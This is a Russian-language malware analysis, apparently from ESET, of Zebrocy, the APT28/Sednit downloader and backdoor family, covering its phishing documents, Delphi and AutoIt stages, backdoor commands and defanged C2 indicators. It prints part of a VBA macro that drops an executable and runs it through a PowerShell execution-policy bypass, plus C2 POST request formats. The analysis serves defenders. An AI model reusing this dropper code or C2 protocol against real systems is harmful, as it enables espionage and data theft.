Анализ Zebrocy, вредоносного ПО первого этапа группы Fancy Bear

Sednit, также известные как APT28, Fancy Bear, Sofacy или STRONTIUM — группа злоумышленников, работающих с 2004 года, а может и раньше, основной целью которых является кража конфиденциальной информации у избранных объектов.

er8tozdq9qpprygi7g3zrfy6i2a.jpeg


Примерно с конца 2015 года мы наблюдаем развертывание этой группой нового компонента — Zebrocy, загрузчика для Xagent (главного бэкдора Sednit). Лаборатория Касперского впервые упоминает данный компонент в 2017 году в отчете APT trend report и недавно выпустила статью с его описанием.

Новый компонент — семейство вредоносного ПО, состоящее из загрузчиков и бэкдоров, написанных на Delphi и AutoIt. Они играют в экосистеме Sednit ту же роль, что и Seduploader, — используются в качестве вредоносного ПО первого этапа атаки.

Мы наблюдали цели Zebrocy в Азербайджане, Боснии и Герцеговине, Грузии, Египте, Зимбабве, Иране, Казахстане, Киргизии, Корее, России, Саудовской Аравии, Сербии, Таджикистане, Туркменистане, Турции, Украине, Уругвае, и Швейцарии. В числе целей — дипломаты, сотрудники посольств и министерств иностранных дел.

Семейство Zebrocy состоит из трех компонентов. В порядке развертывания: загрузчик на Delphi, загрузчик на AutoIt и бэкдор на Delphi. На рисунке 1 показаны взаимосвязи между этими компонентами.

В данном посте мы опишем это семейство и его взаимодействие с более ранним инструментом кибершпионажа Seduploader, а также различия и сходства с Downdelph.

_cpymxbimeguvxkcb4c2gqmf-c4.png
Рисунок 1. Экосистема Sednit

На рисунке 1 мы видим методы атаки и активно используемые Sednit вредоносные программы. В экосистеме Sednit наиболее часто используемая «точка входа» — вложения в письма электронной почты. Согласно недавнему посту в блоге исследователей из Palo Alto Networks, DealersChoice все еще используется. После этапа разведки на заинтересовавших злоумышленников целевых машинах происходит развертывание Xagent и Xtunnel.

Методы атаки


Первый компонент атаки доставляется с помощью Zebrocy через email. Жертвы открывают вложения — документы Microsoft Office, либо архивы.

Вредоносные документы


Используемые Sednit вредоносные документы скачивают компоненты первого этапа атаки через Visual Basic для приложений (VBA), эксплойты или даже через динамический обмен данными (DDE).

В конце 2017 года группа Sednit запустила две кампании, начав распространение двух разных вредоносных документов. Первый назывался Syria – New Russia provocations.doc, второй — Note Letter Mary Christmas Card.doc.

zzr0cyupbuw9gky4fhsbn5oplf4.png
Рисунок 2: Вредоносный документ Zebrocy

Оба вредоносных документа содержат макрос VBA, создающий файл со случайным именем в %TEMP%. Исполняемый файл малвари расшифровывается и записывается в этот файл, который далее выполняется с помощью команды PowerShell или Scriptable Shell Objects.

[...]
Sub AutoClose()
On Error Resume Next
vAdd = ""
For I = 1 To 8
vAdd = vAdd + Chr(97 + Rnd(20) * 25)
Next
vFileName = Environ("temp") & "\" + vAdd & ".e" + "x" & "e"
SaveNew vFileName, UserForm1.Label1.Caption
Application.Run "XYZ", vFileName, "WScript.Shell"
End Sub
Public Function XYZ(vF, vW)
vStr = "powershell.exe -nop -Exec Bypass -Command Start-Process '" + vF + "';"
Call CreateObject(vW).Run(vStr, 0)
End Function
[...]
TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2lu
[...]


Пример функции Visual Basic и зашифрованной по base64 первой фазы заражения из документа Syria — New Russia provocations.doc

Архивы


В некоторых кампаниях для доставки компонентов первого этапа атаки вместо макросов в документах Office использовались архивы. Предположительно, архив распространяется во вложении по электронной почте.

Все содержимое первого этапа в семействе Zebrocy — исполняемые файлы с иконкой и именем, маскирующими их под документ (на рисунке 3) для обмана жертвы.

obxxkk8r8aulmazib0jt_qqoke8.png
Рисунок 3. Первая фаза заражения Zebrocy с помощью файла с иконкой документа Word

Загрузчик на Delphi


Загрузчик на Delphi — первый этап атаки семейства Zebrocy, хотя мы наблюдали, что в некоторых кампаниях группы Sednit этап с AutoIt начинался напрямую, без загрузчика. Большинство бинарных файлов Delphi-загрузчиков используют иконки документов Office, либо некоторые другие, например, библиотеки Windows, и иногда эти образцы запакованы с помощью UPX. Цель этого этапа довольно проста — получить максимум информации с компьютера жертвы.

При запуске малвари всплывает окно с фейковым сообщением об ошибке и именем загруженного бинарного файла. Например, если имя файла srsiymyw.exe, во всплывающем окне появится имя srsiymyw.doc (см. рисунок 4). Цель этого окна — отвлечь пользователя, чтобы он не подумал, что на компьютере происходит что-то необычное.

0ch3hukwyqi47gw48ea6ufsksba.png
Рисунок 4. Всплывающее окно загрузчика на Delphi

На самом деле, загрузчик занят созданием файла в %TEMP% с прописанным в бинарнике именем (хотя на этом этапе файл пуст). Персистентность обеспечивается путем добавления в реестр Windows записи в HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ с указанием пути к файлу с жестко закодированным именем.

Для сбора информации малварь создает новый процесс с помощью функции Windows API CreateProcess и с cmd.exe /c SYSTEMINFO & TASKLIST в качестве аргумента lpCommandLine. После получения информации результат отправляется через запрос HTTP POST на командный сервер, жестко закодированный в бинарном файле. Действие повторяется до тех пор, пока в ответ не будет получено ПО для следующего этапа заражения.

POST (\/[a-zA-Z0-9\-\_\^\.]*){3}\.(php|dat)?fort= HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: xxxx
Host: 
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1
pol=MM/DD/YYYY%20HH:MM:SS%20(AM|PM)%0D%0A%0D%0A%0D%0A%0D%0A%0D%0A
[...]


Запрос HTTP POST загрузчика на Delphi

После отправки запроса командный сервер передает ПО следующего этапа в том случае, если цель оценивается злоумышленниками как интересная. Цикл с момента отправки отчета до получения файлов составляет несколько часов. Следующий этап записывается в созданный ранее файл и выполняется.

Загрузчик на AutoIt


Загрузчик на AutoIt — еще одна фаза разведывательного этапа в процессе заражения компьютера жертвы. Далее с этого момента возможны два сценария: в первом загрузчик на Delphi — первая стадия, а упрощенный загрузчик на AutoIt — вторая. По другому сценарию загрузчик на AutoIt является первой стадией, имеет все функции Delphi-загрузчика и даже больше.

Когда загрузчик на AutoIt используется как первый этап, он выполняет множество разведывательных функций. Даже если у него и есть некоторые сходства с загрузчиком на Delphi, такие как механизм персистентности и всплывающее окно, он добавляет большую модульность в разведывательную фазу по сравнению с загрузчиком на Delphi. Вот неполный список его возможностей:

  • определение режима песочницы и виртуальной среды
  • получение списка установленного ПО (через HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall)
  • определение версии Windows (32-bit или 64-bit)
  • получение списка процессов
  • получение информации о жестком диске
  • скриншот
  • получение различной информации о компьютере жертвы с помощью объектов WMI, что, возможно, было вдохновлено кодом из этого репозитория GitHub


В зависимости от предыдущей стадии отличается имя бинарника AutoIt. Если малварь внедряется на первом этапе, оно будет похоже на имя документа. В ином случае бинарнику присваивается имя, прописанное в загрузчике на Delphi, как это показано в таблице 1.

f0bclmxwmeirua-qcmjqafsie0q.png

Цель этого этапа примерно такая же, как у предыдущего. Встречаются различные версии, но во всех них имеется код, выполняющий как минимум следующее:

  • получение серийного номера жесткого диска C:
  • применение сетевых функций winhttp.dll или winhttp.au3
  • исполнение кода, переданного командным сервером


Как и у Delphi-загрузчика, у загрузчика на AutoIt есть всплывающее окно — если он получен во вложении, то есть когда является первым этапом заражения. Всплывающее окно зависит от иконки бинарного файла. Например, загрузчик AutoIt с иконкой документа Adobe Reader сообщает жертве, что открываемый для просмотра файл PDF поврежден. Бинарный файл AutoIt с иконкой документа Word показывает окно для ввода пароля. Пароль не принимается во внимание, мы считаем, что это лишь способ отвлечь жертву от реальной вредоносной активности кода.

4vjtwpmzch49p00vkpjmacvwguo.png
Рисунок 5. Всплывающее окно загрузчика на AutoIt

Бэкдор на Delphi


Бэкдор на Delphi — финальный этап цепочки компонентов Zebrocy. В прошлом мы наблюдали, как Zebrocy скачивает флагманский бэкдор группы Sednit (Xagent). В отличие от предыдущих компонентов, у этого есть внутренний номер версии, который, похоже, не связан с конкретной кампанией. Этот номер меняется со временем, как показано в таблице 2:

kxdl1vtisltjfmpw_ehgm2e2g1m.png

Обратите внимание, что мы могли пропустить какие-то версии бэкдора. Кроме того, версии перекрывают друг друга — более старые используются одновременно с новыми.

Далее мы опишем некоторые различия, которые увидели в процессе эволюции данного вредоносного ПО. В бэкдор встроен блок конфигурации. Значения конфигурации меняются от образца к образцу, но список конфигурируемых элементов остается неизменным. Однако способ хранения данных конфигурации малвари со временем эволюционировал.

Первые версии бэкдора содержали данные конфигурации в виде простого текста, как показано на рисунке 6.

s9o-k0zfh0i9mbnyhkyb8grcee4.png
Рисунок 6. Данные конфигурации бэкдора на Delphi в виде простого текста

Затем в более поздних версиях авторы закодировали конфигурацию в виде шестнадцатеричных строк, как на рисунке 7.

c8rokoyqx_vppzcypztug-cts8u.png
Рисунок 7. Зашифрованная информация о конфигурации бэкдора на Delphi

В последних версиях информация о конфигурации зашифрована в ресурсах по алгоритму AES. Старшие версии хранятся в разделе .text.

Данные конфигурации содержат:

  • ключи AES для коммуникации с командным сервером
  • адреса URL, различные от образца к образцу
  • версия вредоносного ПО
  • ключ/значение системного реестра Windows, обеспечивающие персистентность бэкдора
  • путь, по которому хранятся временные файлы (%APPDATA%)
  • имена скрытых директорий, создаваемых для хранения временных файлов: происходит конкатенация имени файлов директории и переменной среды (%APPDATA%)


После настройки малварь выполняет функцию обратного вызова с помощью функции SetTimer Windows API. Обратные вызовы позволяют оператору малвари воспользоваться множеством инструментов и командами бэкдора.

  • снятие скриншота рабочего стола жертвы
  • перехват нажатий клавиш
  • получение списка дисков/сетевых ресурсов
  • запись/чтение в реестр Windows
  • копирование/перемещение/удаление объекта файловой системы
  • исполнение файлов, либо постановка задач в запланированные


Количество команд, которые может выполнять бэкдор, а их около 30, отличается от версии к версии.

Для связи с командным сервером бэкдор сохраняет отчет по этим функциям во временный файл. Затем он производит чтение содержимого временного файла и пересылает их. Временные файлы хранятся в одной из скрытых директорий, созданных в процессе установки.

POST (\/[a-zA-Z0-9\-\_\^\.]*){3}\.(php|dat). HTTP/1.0
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------
Content-Length: 
Host: 
Accept: text/html, */*
Accept-Encoding: identity
User-Agent: Mozilla/3.0 (compatible; Indy Library)
----------
Content-Disposition: form-data; name="userfile"; filename="%APPDATA%\Microsoft\\.tmp"
Content-Type: .tmp

------------


Запрос POST бэкдора на Delphi

Содержимое tempfilename — вывод любой исполняемой команды. Содержимое шифруется с помощью алгоритма AES-256-ECB, используя первый ключ AES из данных конфигурации, затем результат записывается в шестнадцатеричной системе. Содержимое, передаваемое на командный сервер, отличается в зависимости от команды, но всегда содержит серийный номер жесткого диска и первые четыре байта имени компьютера.

Например, HELLO соответствует первому пакету, отправляемому бэкдором для установки контакта с командным сервером. Как видно ниже, он содержит дату запуска задачи, внутренний номер версии бэкдора на Delphi, серийный номер HDD, имя компьютера (первые четыре байта), команду и дату, когда этот бэкдор был использован.

Start: 1/4/2018 1:37:00 PM – []:42424242ESET-HELLO-[2018-04-04 01-37-00]-315.TXT.

Второй ключ AES в данных конфигурации применяется для расшифровки ответов командного сервера.

Как и Seduploader, этот бэкдор используется для развертывания Xagent на машинах тех жертв, которые заинтересовали операторов после фазы разведки.

Заключение


Написание компонента на Delphi не является чем-то новым для группы Sednit, они уже использовали этот язык для Downdelph. Однако, даже если последний компонент не имеет с Downdelph ничего общего, есть интересные моменты, заслуживающие упоминания:

  • методы развертывания одинаковы, оба компонента внедряются в виде вложения по электронной почте
  • в последний раз мы видели Downdelph в сентябре 2015, а первый образец Zebrocy из естественной среды обитания датирован ноябрем 2015 года
  • оба написаны на Delphi


Можно предположить, что группа Sednit свернула один компонент и начала разработку нового. Единственное, что не меняется у группы — характерные ошибки:

  • имя запланированного задания: Windiws
  • имя функции, получающей системную информацию в загрузчике на AutoIt: _SOFWARE()
  • Mary вместо Merry в Note Letter Mary Christmas Card.doc


Массив байтов, используемый бэкдором на Delphi в качестве ключей AES-256, содержит 38 байтов вместо 32. Похоже на ошибку, сделанную по невнимательности.

В последние два года мы наблюдали активное использование Zebrocy группой Sednit. Наш анализ новых версий, появляющихся регулярно с 2017 года, явно указывает на то, что авторы активно поддерживают и совершенствуют Zebrocy. Можем считать, что это — один из постоянных и полнофункциональных инструментов в арсенале Sednit и потому заслуживает пристального внимания.

Индикаторы компрометации (IoCs)


Вредоносные документы
5v4oohqmv-bephtrwk2iml6k21g.png

Загрузчик на Delphi
st2dvzd2sswviwkzkogmwwfx6mu.png

Загрузчик на AutoIt
r-_h1yp-nkgzh_lgsvbjuung79s.png

Бэкдор на Delphi
tm497rklzeoqs0ms_y1jx3f_b94.png

Адреса URL

http://142[.]0.68.2/test-update-16-8852418/temp727612430/checkUpdate89732468.php
http://142[.]0.68.2/test-update-17-8752417/temp827612480/checkUpdate79832467.php
http://185[.]25.50.93/syshelp/kd8812u/protocol.php
http://185[.]25.50.93/tech99-04/litelib1/setwsdv4.php
http://185[.]25.50.93/techicalBS391-two/supptech18i/suppid.php
http://185[.]25.51.114/get-help-software/get-app-c/error-code-lookup.php
http://185[.]25.51.164/srv_upd_dest_two/destBB/en.php
http://185[.]25.51.198/get-data/searchId/get.php
http://185[.]25.51.198/stream-upd-service-two/definition/event.php
http://185[.]77.129.152/wWpYdSMRulkdp/arpz/MsKZrpUfe.php
http://188[.]241.68.121/update/dB-Release/NewBaseCheck.php
http://194[.]187.249.126/database-update-centre/check-system-version/id=18862.php
http://194[.]187.249.126/security-services-DMHA-group/info-update-version/id77820082.php
http://213[.]103.67.193/ghflYvz/vmwWIdx/realui.php
http://213[.]252.244.219/client-update-info/version-id/version333.php
http://213[.]252.244.219/cumulative-security-update/Summary/details.php
http://213[.]252.245.132/search-release/Search-Version/crmclients.php
http://213[.]252.245.132/setting-the-os-release/Support-OS-release/ApiMap.php
http://220[.]158.216.127/search-sys-update-release/base-sync/db7749sc.php
http://222[.]15.23.121/gft_piyes/ndhfkuryhs09/fdfd_iunb_hhert_ps.php
http://46[.]102.152.127/messageID/get-data/SecurityID.php
http://46[.]183.223.227/services-check-update/security-certificate-11-554/CheckNow864.php
http://80[.]255.6.5/daily-update-certifaicates52735462534234/update-15.dat
http://80[.]255.6.5/LoG-statistic8397420934809/date-update9048353094c/StaticIpUpdateLog23741033.php
http://86[.]105.18.106/apps.update/DetailsID/clientPID-118253.php
http://86[.]105.18.106/data-extract/timermodule/update-client.php
http://86[.]105.18.106/debug-info/pluginId/CLISD1934.php
http://86[.]105.18.106/ram-data/managerId/REM1234.php
http://86[.]105.18.106/versionID/Plugin0899/debug-release01119/debug-19.app
http://86[.]105.18.111/UpdateCertificate33-33725cnm^BB/CheckerNow-saMbA-99-36^11/CheckerSerface^8830-11.php
http://86[.]106.131.177/srvSettings/conf4421i/support.php
http://86[.]106.131.177/SupportA91i/syshelpA774i/viewsupp.php
http://89[.]249.65.166/clientid-and-uniqued-r2/the-differenceU/Events76.php
http://89[.]249.65.166/int-release/check-user/userid.php
http://89[.]249.65.234/guard-service/Servers-ip4/upd-release/mdb4
http://89[.]40.181.126/verification-online/service.911-19/check-verification-88291.php
http://89[.]45.67.153/grenadLibS44-two/fIndToClose12t3/sol41.php
http://89[.]45.67.153/supportfsys/t863321i/func112SerErr.php
http://93[.]113.131.117/KB7735-9927/security-serv/opt.php
http://93[.]113.131.155/Verifica-El-Lanzamiento/Ayuda-Del-Sistema/obtenerId.php
http://93[.]115.38.132/wWpYdSMRulkdp/arpz/MsKZrpUfe.php
http://rammatica[.]com/QqrAzMjp/CmKjzk/EspTkzmH.php
http://rammatica[.]com/QqrAzMjp/CmKjzk/OspRkzmG.php

© Habrahabr.ru